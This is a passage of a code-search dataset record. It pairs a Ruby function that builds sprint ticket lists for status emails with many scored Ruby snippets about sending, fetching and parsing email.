&block)\n\t\twspace.loots.each do |note|\n\t\t\tblock.call(note)\n\t\tend\n\tend", "def send_email(start_vec, end_vac, full_name, pto, type) \nMail.defaults do\n delivery_method :smtp,\n address: \"email-smtp.us-east-1.amazonaws.com\",\n port: 587,\n :user_name => ENV['a3smtpuser'],\n :password => ENV['a3smtppass'],\n :enable_ssl => true\n end\n email_body = \"#{full_name[0]} #{full_name[1]} is requesting #{type} for these dates #{start_vec} to #{end_vac}. They have #{pto}PTO days left to request. <a href= 'https://wv-timesheet-clock.herokuapp.com/vac_time_request'> To Reply Click Here . </a>\"\n mail = Mail.new do\n from ENV['from']\n to 'wvtimeclockdev@gmail.com'\n subject \"PTO Request\"\n\n html_part do\n content_type 'text/html'\n body email_body\n end\n end\n mail.deliver!\nend", "def execute\n @imap = Net::IMAP.new(@imap_setting[:server], @imap_setting[:port])\n @imap.login(@imap_setting[:user], @imap_setting[:password])\n @imap.select(@imap_setting[:folder])\n \n #process all mail read email with test in subject for testing purpose. In reality it will process all emails\n query = imap_setting[:mode] == \"prod\" ? ['NOT', 'SEEN'] : ['SUBJECT', 'test']\n @imap.uid_search(query).each do |uid|\n catch(:continue) do\n mail = TMail::Mail.parse( imap.uid_fetch(uid, 'RFC822').first.attr['RFC822'] )\n from = mail.from\n to = mail.to\n bcc = mail.bcc\n cc = mail.cc\n subject = mail.subject\n msgid = mail.message_id \n date = mail.date\n ref_msgid = [mail.in_reply_to, mail.references].flatten.compact.join(\" \") \n \n #normalize all email addresses\n from.map! {|address| normalize_address(address) }\n to.map! {|address| normalize_address(address) }\n cc.map! {|address| normalize_address(address) } unless cc.is_nil?\n bcc.map! {|address| normalize_address(address) } unless bcc.is_nil?\n\n #find matching user\n user = nil\n user_email = from.find do |f|\n user = User.find_by_email(f.downcase)\n end\n \n if user\n logger.info \"processing email for #{user.username}\"\n if bcc.include?(@imap_setting[:email])\n #if from as user or asignee to as contact and we are in bcc it's outbound\n contacts = to.map do |t|\n #find contact by user or assigned to\n contact = Contact.find_by_email_and_user(t, user)\n if contact.nil?\n contact = Contact.find_by_email_and_assignee(t, user)\n end\n \n if contact.nil?\n #create contact, user is emailing a contact that's not in FFC\n logger.info \"new contact #{t}\"\n contact = Contact.new\n contact.user = user\n contact.email = t\n unless contact.save \n logger.warn \"could not save contact #{t}\"\n contact = nil\n end\n end\n contact\n end\n contacts.compact!\n \n #save mail\n from_list = from.join(\" \")\n to_list = to.join(\" \")\n cc_list = cc.join(\" \")\n bcc_list = bcc.join(\" \")\n body = mail.quoted_body\n save_email(from_list, to_list, subject, cc_list, bcc_list, body, msgid, ref_msgid, date, user, contacts)\n else\n #TODO if fowarded msg has from as user and to as contact it's inbound\n \n end\n \n else\n #unknown sender,this email is not supposed to be in drop box\n logger.warn \"mail from unknown user from: #{from} to: #{to} subject: #{subject}\"\n handle_processed_mail(uid) if @imap_setting[:mode] == \"prod\"\n end\n \n end\n \n end\n @imap.logout\n @imap.disconnect\n \n rescue Net::IMAP::NoResponseError => e\n logger.error \"IMAP server error\"\n rescue Net::IMAP::ByeResponseError => e\n logger.error \"IMAP server error\"\n rescue => e\n logger.error \"IMAP server error\"\n \n end", "def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n assign_rooms(attendees).each do |assignment|\n puts assignment\nend\nend", "def display_mail_queue(what)\n emails = case what\n when 'all' then\n puts 'Showing all emails in the system'\n ArMailerRevised.email_class.all\n when 'deliverable' then\n puts 'Showing emails ready to deliver'\n ArMailerRevised.email_class.ready_to_deliver\n when 'delayed' then\n puts 'Showing delayed emails'\n ArMailerRevised.email_class.delayed\n else\n []\n end\n puts 'Mail queue is empty' and return if emails.empty?\n puts Hirb::Helpers::AutoTable.render emails, :fields => [:from, :to, :delivery_time, :last_send_attempt, :updated_at]\n end", "def receive_inbound_email_from_mail(**kwargs, &block)\n create_inbound_email_from_mail(**kwargs, &block).tap(&:route)\n end", "def set_email_type\n @email_type = EmailType.find(params[:id])\n end", "def e_email_for(key = 'email_order_paid')\n (e_settings[key]) || case key.to_s\n when 'email_order_received'\n '<h1>ORDER SUMMARY {number}</h1> Dear {name}, please review and retain the following order information for your records.<br>{order_table}'\n when 'email_order_confirmed'\n '<h1>ORDER CONFIRMED {number}</h1> Dear {name}, your order has been confirmed. Please retain the following order information for your records<br>{order_table}'\n when 'email_order_shipped'\n '<h1>SHIPMENT SUMMARY</h1> Dear {name}, your order {number} has been shipped. Shipped method: {shipping_name} <br>{order_table}<br>{tracking_url}'\n when 'email_order_cancelled'\n '<h1>ORDER {number} CANCELLED</h1> Dear {name}, your order has been cancelled. Please retain this cancellation information for your records. <br>{order_table}'\n when 'email_order_invoice'\n '<table style=\"width: 100%;\"><tr><td><h1>INVOICE #{invoice_number}</h1> <h4>Order #{number}</h4><div>{current_date}</div></td><td style=\"text-align: center;\"><img src=\"http://camaleon.tuzitio.com/media/132/logo2.png\"></td></tr></table> <table style=\"width: 100%;\"><tr><td><strong>Billing Address</strong><br>{billing_info}</td><td><strong>Shipping Address</strong><br>{shipping_info}</td></tr><tr><td colspan=\"2\">{order_table}</td></tr></table>'\n end\n end", "def event_type\n GlobalConstant::EmailServiceApiCallHook.send_transactional_mail_event_type\n end", "def process!(email, subject, body)\n if user.email == email\n story = stories.build :title=>subject, :body=>body\n story.save\n else\n writer = User.find_by_email email\n if writer\n ask = writer.asks.find_by_question_id question.id\n if ask\n story = ask.stories.build :title=>subject, :body=>body\n story.save\n else\n ask = writer.asks.build :question=>question\n if ask.save\n story = ask.stories.build :title=>subject, :body=>body\n story.save\n end\n end\n else\n writer = User.new :name=>email.split('@').first, :email=>email\n password = writer.reset_password\n if writer.save\n UserMailer.welcome(writer, password).deliver\n ask = writer.asks.build :question=>question\n if ask.save\n story = ask.stories.build :title=>subject, :body=>body\n story.save\n end\n end\n end\n end\n \n if writer\n user.reads writer\n writer.reads user\n end\n \n story\n end", "def ticket_type\n\t @ticket_type = EventTicketType.where(:event_id => id)\n end", "def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end", "def each(type = TLV_TYPE_ANY, &block)\n\t\tget_tlvs(type).each(&block)\n\tend", "def each(type = TLV_TYPE_ANY, &block)\n\t\tget_tlvs(type).each(&block)\n\tend", "def receive(email, raw_email)\n # Find which info requests the email is for\n # We deliberately don't use Envelope-to here, so ones that are BCC\n # drop into the holding pen for checking.\n reply_info_requests = [] # XXX should be set?\n for address in (email.to || []) + (email.cc || [])\n reply_info_request = InfoRequest.find_by_incoming_email(address)\n reply_info_requests.push(reply_info_request) if reply_info_request\n end\n\n # Nothing found, so save in holding pen\n if reply_info_requests.size == 0 \n InfoRequest.holding_pen_request.receive(email, raw_email)\n return\n end\n\n # Send the message to each request, to be archived with it\n for reply_info_request in reply_info_requests\n reply_info_request.receive(email, raw_email)\n end\n end", "def build_email(mailmsgs={}, mailtemplate=@defaultmailtemplate)\r\n\t\t@logger.info(\"build ncs email start...\")\r\n\t\ttemplate = Template.new(mailtemplate,@outputdir)\r\n\t\toutputfile = @properties.get(\"ncs.mail.store\")\r\n\t\t#puts @outputdir+\"/\"+outputfile\r\n\t\tif not mailmsgs.empty?\r\n\t\t\t@body = template.render(mailmsgs, @outputdir+\"/\"+outputfile)\r\n\t\telse\r\n\t\t\traise ArgumentError,\"either project_release_label need to be defined!\" if @project_release_label.empty?\r\n\t\t\t#build title\r\n\t\t\tmailsubject = @properties.get(\"ncs.mail.subject\")\r\n\t\t\t@title = \"#{mailsubject} #{@project_release_label}\" if @title.empty?\r\n\t\t\t#build sr link & report link\r\n\t\t\t@sr_link = @properties.get(\"ncs.mail.sr_link\") if @sr_link.empty?\r\n\t\t\t@report_link = @properties.get(\"ncs.mail.report_link\") if @report_link.empty?\r\n\t\t\t#build latest sr table\r\n\t\t\tsr_file = @properties.get(\"ncs.test.sr_mapping_file\")\r\n\t\t\tsr_sheet = @properties.get(\"ncs.test.sr_worksheet\", 'WMX5.0')\r\n\t\t\t@logger.info(\"sr mapping file: #{sr_file}\")\r\n\t\t\tsrparser = SrParser.new(sr_file)\r\n\t\t\tif @srs.empty?\r\n\t\t\t\tlatestSrlist = srparser.latestSrlist(sr_sheet)\r\n\t\t\t\tlatestSrlist.each{ |sr| \r\n\t\t\t\t\tself.addsr(sr) \r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t#build sr summary\r\n\t\t\tif @srsummary.empty?\r\n\t\t\t\t['Originated','Assessed','Study','Performed','Closed'].each{ |status|\r\n\t\t\t\t\tsrlistStatus = srparser.srlistBy(sr_sheet, '#Status', status)\r\n\t\t\t\t\t@logger.info(\"#{status} sr: \"+ srlistStatus.length.to_s)\r\n\t\t\t\t\t@srsummary.store(status, srlistStatus.length)\r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t#host,os,view\r\n\t\t\t@host = %x{uname -n}.chomp() if @host.empty?\r\n\t\t\t@ip = IPSocket.getaddress(@host) if @ip.empty?\r\n\t\t\t@os = %x{uname}.chomp() if @os.empty?\r\n\t\t\tcleartool = @properties.get('ncs.tool.cleartool')\r\n\t\t\t@view = %x{#{cleartool} pwv -s}.chomp() if @view.empty?\r\n\t\t\t#build log dir & test log dir\r\n\t\t\tlogdir = @properties.get('ncs.log.dir')\r\n\t\t\t@buildlogdir = logdir + '/' + project_release_label + '/buildlog' if @buildlogdir.empty?\r\n\t\t\t@testlogdir = logdir + '/' + project_release_label + '/testlog' if @testlogdir.empty?\r\n\t\t\t#build merge stat info\r\n\t\t\tif @mergestat.empty?\r\n\t\t\t\tbegin\r\n\t\t\t\t\tstoredir = @properties.get('ncs.store.dir')\r\n\t\t\t\t\tmergestat = @properties.get('ncs.tool.mergestat')\r\n\t\t\t\t\tline_sep = @properties.get('ncs.mail.line_sep','<br/>')\r\n\t\t\t\t\tbranch = %x{#{cleartool} catcs|grep '^mkbranch'|cut -f2 -d' '}.chomp\r\n\t\t\t\t\tmergestat_name = \"mergestat_#{branch}\"\r\n\t\t\t\t\tmergestat_store = storedir + '/' + project_release_label + \"/mergestat_#{branch}\"\r\n\t\t\t\t\tif not File.exists?(mergestat_store)\r\n\t\t\t\t\t\t@logger.info(\"mergestat file not exist, need to generated!\")\r\n\t\t\t\t\t\t@logger.debug(\"cd /vob/wibb_bts; #{mergestat} -a -l -s -b #{branch} > #{mergestat_name}\")\r\n\t\t\t\t\t\tsystem(\"cd /vob/wibb_bts; #{mergestat} -a -l -s -b #{branch} > #{mergestat_name}\")\r\n\t\t\t\t\t\t@logger.debug(\"cp /vob/wibb_bts/#{mergestat_name} #{mergestat_store}\")\r\n\t\t\t\t\t\tsystem(\"cp /vob/wibb_bts/#{mergestat_name} #{mergestat_store}\")\r\n\t\t\t\t\tend\r\n\t\t\t\t\tmergestat = IO.readlines(mergestat_store)\r\n\t\t\t\t\t@logger.info(\"mergestat is store at #{mergestat_store}\")\r\n\t\t\t\t\t#@logger.debug(\"#{mergestat}\")\r\n\t\t\t\t\t@mergestat = mergestat.join(line_sep)\r\n\t\t\t\trescue => err\r\n\t\t\t\t\t@logger.error(\"build mergestat failed, #{err.to_s}\")\r\n\t\t\t\t\t@logger.warn(\"NCS ignored mergestat information!\")\r\n\t\t\t\t\t@mergestat = ''\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\t#build tested projects\r\n\t\t\ttested_projects = @properties.get('ncs.store.tested_projects')\r\n\t\t\tif @testedprojects.empty? and File.exists?(tested_projects)\r\n\t\t\t\tlines = IO.readlines(tested_projects)\r\n\t\t\t\tlines.each{ |line|\r\n\t\t\t\t\tnext if line =~ /^\\s*$/\r\n\t\t\t\t\tline.chomp!\r\n\t\t\t\t\t#blocked project\r\n\t\t\t\t\tif line =~ /BLOCK/i\r\n\t\t\t\t\t\t(lbl,block,modtime) = line.split(/[\\s:;,]+/, 3)\r\n\t\t\t\t\t\tself.addpassrate4prj(lbl,'','',true, modtime)\r\n\t\t\t\t\t#tested project\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t(lbl,prate,frate,modtime) = line.split(/[\\s:;,]+/, 4)\r\n\t\t\t\t\t\tself.addpassrate4prj(lbl,prate,frate,false, modtime)\r\n\t\t\t\t\tend\r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\t#build bindings\r\n\t\t\tattributes = {\r\n\t\t\t\t'title' => @title,\r\n\t\t\t\t'sr_link' => @sr_link,\r\n\t\t\t\t'report_link' => @report_link,\r\n\t\t\t\t'srs' => @srs,\r\n\t\t\t\t'srsummary' => @srsummary,\r\n\t\t\t\t'host' => @host,\r\n\t\t\t\t'ip' => @ip,\r\n\t\t\t\t'os' => @os,\r\n\t\t\t\t'view' => @view,\r\n\t\t\t\t'errors' => @errors,\r\n\t\t\t\t'buildresults' => @buildresults,\r\n\t\t\t\t'testsummary' => @testsummary,\r\n\t\t\t\t'testresults' => @testresults,\r\n\t\t\t\t'buildlogdir' => @buildlogdir,\r\n\t\t\t\t'testlogdir' => @testlogdir,\r\n\t\t\t\t'mergestat' => @mergestat,\r\n\t\t\t\t'testedprojects' => @testedprojects\r\n\t\t\t}\r\n\t\t\t#render template and store the mail as a file \r\n\t\t\t@outputdir = @properties.get('ncs.store.dir') + '/' + project_release_label\r\n\t\t\t@body = template.render(attributes, @outputdir+\"/\"+outputfile)\r\n\t\tend\r\n\t\t@logger.info(\"build ncs email end\")\r\n\tend", "def printer(attendees)\n batch_badge_creator(attendees).each do |x|\n puts x\n end\n assign_rooms(attendees).each do |x|\n puts x\n end\nend", "def office_type\n self.dig_for_string(\"agentSummary\", \"office\", \"type\")\n end", "def send_email_line()\n #define a variable gmail.\n gmail = Gmail.connect(\"email\",\"password\")\n #define a variable email with a loop.\n email = gmail.deliver do\n to ws\n subject \"Présentation The hacking poject\"\n html_part do\n content_type'text/html; charset=UTF8'\n body send_email_text\n end\n end\n #show email acount loggin.\n puts gmail.logged_in?\n #desconnecte after work.\n gmail.logout\nend", "def getBody(data)\n\n if @publisher == \"newsgator\" or (@publisher.include?(\"wordpress\") and @stream_type == \"post\") then\n body = data[\"object\"][\"content\"]\n elsif @publisher == \"getglue\" then\n verb = data[\"verb\"] #GetGlue offers a field that sums up the activity based on the verb\n\n if verb == \"user_protect\" then\n p \"ignore\"\n end\n\n\n if verb == \"share\" then\n body = data[\"body\"]\n else #verb == \"vote\" or verb == \"post\" or verb == \"like\" or verb == \"dislike\" or verb == \"follow\" or verb == \"add\" or verb == \"receive\" or verb == \"checkin\" or verb == \"reject\" or \"user_protect\" then\n body = data[\"displayName\"]\n end\n elsif @publisher == \"estimize\" then\n body = data[\"target\"] #TODO: this needs to be flushed out! Need to construct the \"body\" from many parts...\n elsif @publisher == \"tumblr\" then\n\n if not data[\"object\"][\"summary\"].nil? then\n body = data[\"object\"][\"summary\"]\n else\n body = data[\"object\"][\"content\"]\n end\n else\n body = data[\"body\"]\n end\n\n body\n end", "def find_type\n if @job_condition\n @type = (row[88].chr == 'C') ? 'PAYMENT' : 'CORRESP'\n end\n end", "def printer(attendees)\n # use helper method to print a badge message for every attendee on a separate line\n batch_badge_creator(attendees).each do |badge_message|\n puts badge_message\n end\n # use helper method to print a welcome message for every attendee on a separate line\n assign_rooms(attendees).each do |room_assignment_welcome_message|\n puts room_assignment_welcome_message\n end\nend", "def process_mail(mail, config)\n end", "def printer(attendees)\n batch_badge_creator(attendees).each { |badge| puts badge}\n assign_rooms(attendees).each {|rooms | puts rooms }\nend", "def assign_body_parts(body)\n body.parts.each do |part|\n if part.multipart?\n assign_body_parts(part)\n else\n @body[part.header[\"content-type\"].sub_type] = part.body if \n part.header[\"content-type\"].main_type == \"text\"\n end #if\n end #do\n end", "def receipts_to_or_from_type(type)\n receipts.includes(:message).to_or_from_type(type)\n end", "def process_mail(mail, config)\n end", "def getNewMail\n\n @@CTYPE_TO_EXT = {\n 'image/jpeg' => 'jpg',\n 'image/gif' => 'gif',\n 'image/png' => 'png',\n 'image/tiff' => 'tif'\n }\n begin\n \n # Go through users mail accounts for new attachment files\n userEmails = UserEmail.find_all_by_mail_checking(true);\n userEmails.each do |x|\n if x.last_uid == nil\n x.update_attribute(:last_uid, 0)\n end\n container_name = x.mail_server.gsub(/\\./, \"_\")\n if x.device_id != nil\n device = Device.find_by_id(x.device_id)\n if device != nil\n container_name = device.dev_name\n end\n end\n new_uid = goThroughUserEmails(x.user_id, x.mail_username, x.mail_password, x.mail_server, x.mail_port, x.mail_tls_encryption, x.last_uid, container_name)\n if new_uid > x.last_uid\n x.update_attribute(:last_uid, new_uid)\n end\n end\n rescue => e\n puts \"PROBLEM GOING THROUGH USER EMAILS\"\n puts e \n \n end\n \n \n begin\n \n ## Configurations \n username = \"XXXXXX\"\n password = \"YYYYYY\"\n server = \"imap.gmail.com\"\n port = 993\n \n\n \n # Connect to gmail server\n imap = Net::IMAP.new(server,port,true)\n \n # Login\n imap.login(username, password)\n \n # Select inbox\n imap.select('INBOX')\n \n # get all new mails\n imap.uid_search([\"NOT\", \"DELETED\", \"NOT\", \"SEEN\"]).each do |uid|\n \n # fetches the source of the email for tmail to parse\n source = imap.uid_fetch(uid, 'RFC822')\n \n if source == nil\n puts \"Couldn't find mail with uid: #{uid}\"\n next\n end\n \n source = source.first.attr['RFC822']\n \n # parse with tmail\n email = TMail::Mail.parse(source) \n \n # Print subject and sender\n #p email.subject \n #p email.from \n \n ### Look for hash hidden in receiver name\n username, contextname = findUserAndContext(email.to.to_s)\n if username == nil or contextname == nil\n next\n end\n \n puts \"User: #{username}\"\n puts \"Context: #{contextname}\"\n \n user = User.find_by_username(username)\n contextName = ContextName.find_by_username_and_name(username, contextname)\n \n if user == nil or contextName == nil\n next\n end\n \n # Check that user has named email sender as his email account\n useremail = UserEmail.find_by_user_id_and_email(user.id, email.from)\n if useremail == nil\n next\n end\n \n context = Context.find_by_id(contextName.context_id)\n if context == nil\n next\n end\n \n puts \"Mail is from account that user has named and context is found\"\n \n device = nil\n \n # If has attachments, save them\n if email.has_attachments?\n email.parts.each_with_index do |part, index|\n puts part.content_type\n \n # Text files are ignored. If mail has attachments, body was considerede as attachment.\n if part.content_type == \"text/plain\" or part.content_type == \"multipart/alternative\"\n next\n end\n \n # Create device if doesn't already exist\n if device == nil\n # Try to find virtual device or create it\n device = findOrCreateVirtualDevice(user.id, \"visualrest_mail_box\")\n \n # If device name is already in use for other type of device, \n if device == nil\n puts \"Couldn't create virtual_container with name 'visualrest_mail_box'\"\n next\n end\n end \n \n \n filename = part_filename(part)\n content_type = part.content_type\n filename ||= \"#{index}.#{ext(part)}\"\n file = filename\n fname = file.split(\".\")\n \n # If prefix given in topic, add it to filename\n if email.subject.to_s.include?(\"[p]\") \n # Adds email topic as a prefix for the file\n filename = email.subject.to_s.gsub('[p]', '').strip.gsub(/\\r/, '_') + \"_\" + filename\n end\n \n # Use virtualContainerManager to add the file\n # Create the manager \n @virtualContainerManager = VirtualContainerManager.new(user, device.dev_name)\n \n # Add file with the manager\n @virtualContainerManager.addFile('/' + filename, part.body)\n \n @virtualContainerManager.addMetadata('/' + filename, \"context_hash\", context.context_hash)\n \n # Add metadata\n @virtualContainerManager.addMetadata('/' + filename, \"mail_topic\", email.subject)\n @virtualContainerManager.addMetadata('/' + filename, \"mail_from\", email.from.to_s.strip)\n \n \n \n # Make the commit\n @virtualContainerManager.commit\n \n puts \"File #{filename} was saved to visualrest\"\n end\n end\n end\n \n imap.logout\n imap.disconnect\n \n rescue => e\n puts e\n return\n end \n end", "def each_message_type\n self.class.message_types.each_key do |message_type|\n yield message_type, public_send(message_type)\n end\n end", "def get_all_email\r\n\turl_array = get_townhall_urls #définir une array équivalente au résultat de la méthode qui a permis de créer l'array\r\n\turl_array.each do |townhall_url| \r\n\t\tget_townhall_email(townhall_url) # pour chaque URL d'une ville du Val d'Oise, on associe l'adresse mail de la mairie via la méthode get_townhall_email\r\n\tend\r\nend", "def by_mail_tracker\n end", "def manager_list_by_type\n \n @sort_order = get_sort_order\n @sort_order[:type] = params[:order] == 'ASC' ? 'DESC' : 'ASC'\n flash[:sort_order] = @sort_order\n \n design_reviews = get_active_reviews\n @active_reviews = design_reviews[:active].sort_by { |dr| [dr[:review].review_type.sort_order, dr[:review].age] }\n @inactive_reviews = design_reviews[:inactive].sort_by { |dr| [dr[:review].review_type.sort_order, dr[:review].age] }\n @active_reviews.reverse! if params[:order] == 'DESC'\n @inactive_reviews.reverse! if params[:order] == 'DESC'\n \n @submissions = BoardDesignEntry.submission_count\n session[:return_to] = {:controller => 'tracker',\n :action => 'manager_list_by_type',\n :order => params[:order]}\n render( :action => 'manager_home' )\n\n end", "def lunch_something type, name, &block\n key = \"#{type.id2name}-#{name}\".intern\n config = @@config[key].symbolize_keys if @@config.has_key? key\n\n logger.debug \"lunching #{type} #{name} #{config.nil? ? 1 : config[:threads]}\"\n ((config && config[:threads]) || 1).times do |counter|\n MediaProcessor.class_variable_get(\"@@#{type.id2name.pluralize}\")[name] <<\n Thread.new do\n Thread.current[:name] = \"#{type}-#{name}(#{counter})\"\n Thread.current[:type] = type\n Thread.current[:queue] = MediaProcessor.class_variable_get(\"@@#{type}_queues\")[name]\n Thread.current.abort_on_exception = true\n logger.debug \"#{type} #{name} #{counter} started\"\n while (message = Thread.current[:queue].pop) != :end\n logger.debug \"message: #{message}\"\n block.call(message, config)\n end\n logger.debug \"thread #{Thread.current[:name]} ended\"\n end\n end\n end", "def send_gmail_to_listing(username, password, subject_text, worksheet_key, html_path, image_path)\n # Connect to gmail and puts\n # username and password are parameters you will input as argument on command line\n gmail = Gmail.connect(username, password)\n puts \"Gmail login\"\n\n # Call the go_through_all_the_lines function wich returns all the emails in an array\n email_listing = go_through_all_the_lines(worksheet_key)\n\n # Iterate through all the emails\n email_listing.each do |email|\n # For each email send mail to email\n gmail.deliver do\n to email\n # subject_text variable is a parameter you will input as argument on command line\n subject subject_text\n # Send the content in the email as html\n html_part do\n content_type 'text/html; charset=UTF-8'\n # Call the get_email_html function to get the body content\n body get_email_html(html_path)\n end\n # Call the get_email_image function to add an image to the email\n add_file get_email_image(image_path)\n end\n # Puts a message on console when the email is successfully sent\n puts \"Email successfully sent to #{email}\"\n end\n # Call the save_to_file function to save the output in a text file\n save_to_file(email_listing)\n # Log out of gmail and puts\n gmail.logout\n puts \"Gmail logout script finished\"\n\nend", "def deliver_rts email, documents, mail_to\n logger.info \"Sending response mail to #{mail_to}\"\n mail = Mail.new\n mail.from @cfg[:from]\n mail.to mail_to\n # CCs to the original email will get a copy of the converted files as well\n mail.cc (email.cc - email.to - (@cfg[:cc_blacklist]||[]) ) if email.cc # Prevent autoheathen infinite loop!\n # Don't prepend yet another Re:\n mail.subject \"#{'Re: ' unless email.subject.start_with? 'Re:'}#{email.subject}\"\n # Construct received path\n # TODO: is this in the right order?\n #rcv = \"by localhost(autoheathen); #{Time.now.strftime '%a, %d %b %Y %T %z'}\"\n #[email.received,rcv].flatten.each { |rec| mail.received rec.to_s }\n mail.return_path email.return_path if email.return_path\n mail.header['X-Received'] = email.header['X-Received'] if email.header['X-Received']\n documents.each do |doc|\n next if doc[:content].nil?\n mail.add_file filename: doc[:filename], content: doc[:content]\n end\n cfg = @cfg # stoopid Mail scoping\n me = self # stoopid Mail scoping\n mail.text_part do\n s = Haml::Engine.new( me.read_file cfg[:text_template] ).render(Object.new, to: mail_to, documents: documents, cfg: cfg)\n body s\n end\n mail.html_part do\n content_type 'text/html; charset=UTF-8'\n s = Haml::Engine.new( me.read_file cfg[:html_template] ).render(Object.new, to: mail_to, documents: documents, cfg: cfg)\n body s\n end\n mail.delivery_method :smtp, address: @cfg[:mail_host], port: @cfg[:mail_port]\n deliver mail\n end", "def enquiry\n @rooms = Room.all.group(:type)\n end", "def process!(mail_package = nil)\n super_return_value = super\n if processed?\n AppellantNotification.appeal_mapper(appeal.id, appeal.class.to_s, \"decision_mailed\")\n case appeal_type\n when \"Appeal\"\n template = appeal.contested_claim? ? \"#{@@template_name} (Contested claims)\" : \"#{@@template_name} (Non-contested claims)\"\n AppellantNotification.notify_appellant(appeal, template)\n when \"LegacyAppeal\"\n template = appeal.contested_claim ? \"#{@@template_name} (Contested claims)\" : \"#{@@template_name} (Non-contested claims)\"\n AppellantNotification.notify_appellant(appeal, template)\n end\n end\n super_return_value\n end", "def create_name_flows(text, criteria)\n @arr_of_flows = [];\n @@people.each do |person|\n next unless !(person.is_married?) || person.gender == \"Male\"\n next unless person.search_elems =~ /#{text.downcase}/ \n case #check which tab is selected\n when criteria == \"All\"\n nil\n when criteria == \"Home Teaching Pool\"\n next unless (person.receives == \"true\" || person.assigned_to != [] || person.taught_by != [])\n when criteria == \"Move-ins\"\n next unless person.receives == \"\"\n end\n @temporary_flow = flow :height => 25, :margin_top => 1 do\n background white\n para person.cup_fullname\n @most_recent_user = person.user_id\n click do |button, x, y|\n if @which_user == person.user_id\n @info_box_large.clear{info_box_large(person)}\n @photo_stack.clear{photo_stack(@@p_info[person.user_id])}\n end #if\n end #click\n hover do |slot|\n @which_user = person.user_id\n slot.clear do\n background rgb(220, 220, 220)\n para person.cup_fullname\n end # clear\n end # hover\n leave do |slot|\n slot.clear do\n background white\n para person.cup_fullname\n end # clear\n end # leave\n end #@temp_flow\n @arr_of_flows << @temporary_flow\n end #@@people.each do\n if @arr_of_flows.length == 1\n @info_box_large.clear{info_box_large(@@p_info[@most_recent_user])}\n @photo_stack.clear{photo_stack(@@p_info[@most_recent_user])}\n end # if\nend", "def set_email_type_list\n @email_type_list = EmailTypeList.find(params[:id])\n end", "def search(from,after)\n emails = @yahoo_api.find_emails from,after\n\n emails.in_groups_of(10,false).each do |group| \n mids = group.map{|email| email[:mid]}\n email_contents = @yahoo_api.fetch_email_contents mids\n \n mails = email_contents.map do |email_content| \n text = CGI.unescapeHTML(CGI.unescapeHTML(\n email_content[:text]))\n mail = Mail.new(\n :message_id => email_content[:mid],\n :date => email_content[:date],\n :subject => email_content[:subject],\n :body => text)\n mail.html_part = Mail::Part.new do\n content_type 'text/html; charset=UTF-8'\n body text\n end\n mail\n end \n\n yield mails if block_given?\n end\n end", "def reminder(attendance_id, type)\n sendgrid_category \"Tea Time Reminder\"\n\n @attendance = Attendance.includes(:tea_time, :user).find(attendance_id)\n @user = @attendance.user\n @type = type\n @tea_time = @attendance.tea_time\n\n mail.attachments['event.ics'] = {\n mime_type: \"text/calendar\",\n content: IcalCreator.new(@tea_time).call.to_ical\n }\n\n cancel_delivery unless @attendance.pending?\n\n mail(to: @user.email,\n from: @tea_time.host.friendly_email(at_tws: true),\n subject: \"Your tea time is coming up!\") do |format|\n format.text\n format.html\n end\n end" ]
[ "0.7281999", "0.6319089", "0.5115296", "0.5028149", "0.4963669", "0.49442703", "0.4907207", "0.48945594", "0.4881189", "0.48711103", "0.48128298", "0.48034742", "0.4789139", "0.47480574", "0.4737166", "0.47207668", "0.47063154", "0.4703522", "0.46566662", "0.46546182", "0.46503168", "0.46466395", "0.46374327", "0.4630954", "0.46303436", "0.46102136", "0.4586047", "0.45846114", "0.4576659", "0.45723394", "0.45681223", "0.4557605", "0.45449257", "0.45442033", "0.45389253", "0.45359927", "0.45195854", "0.4518761", "0.4516826", "0.4516699", "0.45138398", "0.4494701", "0.44856122", "0.4482122", "0.4468057", "0.44638732", "0.44619736", "0.4458228", "0.4455907", "0.44512326", "0.44463637", "0.44408312", "0.44386616", "0.4436451", "0.44340998", "0.4430768", "0.44282946", "0.4408554", "0.44082588", "0.44052076", "0.44034463", "0.43999594", "0.43892398", "0.43855667", "0.43849164", "0.4380061", "0.4377754", "0.43767735", "0.43723512", "0.4370304", "0.43693203", "0.4365906", "0.4365906", "0.43619028", "0.43538818", "0.43536517", "0.4350073", "0.4345288", "0.4338934", "0.43355784", "0.43326834", "0.43306085", "0.43305877", "0.43281996", "0.4326846", "0.4326599", "0.43232113", "0.43228802", "0.43204695", "0.4319429", "0.4317804", "0.4314911", "0.43048477", "0.43029553", "0.4300015", "0.42990735", "0.42975575", "0.42959952", "0.42958307", "0.42953512" ]
0.81906307
0
FUNCTION: tickets_looper PURPOSE: Iterate on all lines of sprint files (last and next sprints) PARAMETERS: email_body: Get content of the email to generate section: Current section to iterate on type: ? file: ? statuses: ? tickets: ? ticket_details: ? RETURNS: /
def tickets_looper(email_body, section, type, file, statuses, tickets, ticket_details) i = 0 File.open(file).readlines.each do |cLine| # Check if the file has been added if cLine.include?(type) && statuses.inject(false) { |memo, status| cLine.downcase.include?(status.downcase) || memo } unless $tickets_list.include?(cLine.split("\t")[1]) || $tickets_list.include?(cLine.split("\t")[1] + " <span style='color: #FF6A77'>⇨ " + cLine.split("\t")[4] + "</span>") if cLine.split("\t")[4].downcase == "done" tickets << cLine.split("\t")[1] else tickets << cLine.split("\t")[1] + " <span style='color: #FF6A77'>⇨ " + cLine.split("\t")[4] + "</span>" end i = i + 1 end end end if i > 0 $tickets_list = tickets + ($tickets_list - tickets) ticket_details[:nb_tickets] = i end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
